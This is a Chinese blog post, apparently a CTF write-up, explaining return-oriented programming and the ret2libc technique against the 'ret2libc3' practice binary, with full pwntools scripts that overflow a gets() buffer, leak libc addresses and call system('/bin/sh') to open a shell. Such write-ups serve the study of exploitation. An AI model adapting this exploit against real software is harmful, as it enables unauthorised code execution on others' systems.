【pwn】基础ROP攻击
这里用来记录一下关于PWN中ROP攻击的各种过程和经验
ROP攻击是针对那些使用了NX防护的程序,开启NX防护的程序使得栈以及堆上的代码没有办法被执行,导致不能单独将函数栈中的返回地址修改到函数帧中。
ROP主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
讲起来还是很抽象,我的理解就是利用了函数帧中的返回地址,以及具有gadgets(也就是带着ret
指令的一段汇编语句)都算是ROP攻击。这里我挑一个最经典的ROP作为实战
ret2libc3
文件链接如下:ret2libc3
下载好了后,在kali中打开,首先查看文件类型
发现NX保护开着,也就是栈不能用来作为执行代码
然后拖入ida pro中(注意是32位的ida pro),查看程序功能
发现了gets
函数,并且字符串长度很明显大于在函数栈帧中具有的大小。表明具有字符串溢出漏洞
利用objdump
工具以及ida逆向查看,发现程序中没有system
函数(虽然题目里面就说过hh),动态链接库libc在程序中的映射(也就是plt表)中也没有system
函数的存在,所以说我们找不到相关的函数。
但是,我们知道动态链接库libc
是存在的,并且在动态链接的时候是一整个libc
都链接到了最终的程序中,只是没有调用system
函数导致我们的plt表没有记录。
所以我们只需要知晓其中某一个函数在plt表中被实现,我们就可以通过函数与函数之间的相对位置,找到存在于libc
动态链接库中的system
函数了
那么我们首先需要得到某一个存在于libc
的函数在程序中的地址,这里我们选择puts
函数和__libc_start_main
函数(也没有什么理由,你想选别的也可以)
不过在这之前我们先看看输入变量s
到栈顶的距离:
可以知道这个范围是给变量s使用的,具体过程我这里有点模糊,大家可以去找其他解析看看怎么找到的。反正我们知道这个范围是0x70,也就是112个字节。
我们构造代码:
from pwn import *
sh = process("./ret2libc3") # 构成一个sh对象,用于发送指令
ret2libc3 = ELF("./ret2libc3") # ELF对象获取程序信息
puts_plt = ret2libc3.plt['puts'] # plt表中的地址
libc_start_main = ret2libc3.got['__libc_start_main'] # got表中指向__libc_start_main的指针
start = ret2libc3.symbols['_start'] # 获取_start函数的地址
puts_got= ret2libc3.got['puts']
sh.sendlineafter('Can you find it !?',flat(['a'*112, puts_plt, start, puts_got]))
put_addr = u32(sh.recv()[0:4])
print (f"put_addr is "+hex(put_addr))
sh.sendline(flat(['a'*112, puts_plt, start, libc_start_main]))
libc_start_main_addr = u32(sh.recv()[0:4])
print (f"libc_start_main_addr is "+hex(libc_start_main_addr))
得到了这两个的地址,动态链接时即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。也就是说此时在libc中最低的12位也保持一致。
我们使用libc database search
得到了system
函数地址以及"/bin/sh"这一字符串地址
构造exp如下:
from pwn import *
sh = process("./ret2libc3")
ret2libc3 = ELF("./ret2libc3")
puts_plt = ret2libc3.plt['puts']
libc_start_main = ret2libc3.got['__libc_start_main']
start = ret2libc3.symbols['_start']
puts_got= ret2libc3.got['puts']
sh.sendlineafter('Can you find it !?',flat(['a'*112,puts_plt, start, puts_got]))
put_addr = u32(sh.recv()[0:4])
print (f"put_addr is "+hex(put_addr))
puts_libc = 0x74db0
sys_libc = 0x4c800
binsh_libc = 0x1b5faa
libc_base = put_addr - puts_libc
system_addr = libc_base + sys_libc
binsh_addr = libc_base + binsh_libc
sh.sendline(flat(['a'*112, system_addr, 'b'*4, binsh_addr]))
sh.interactive()
运行后获得弹窗
参考:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3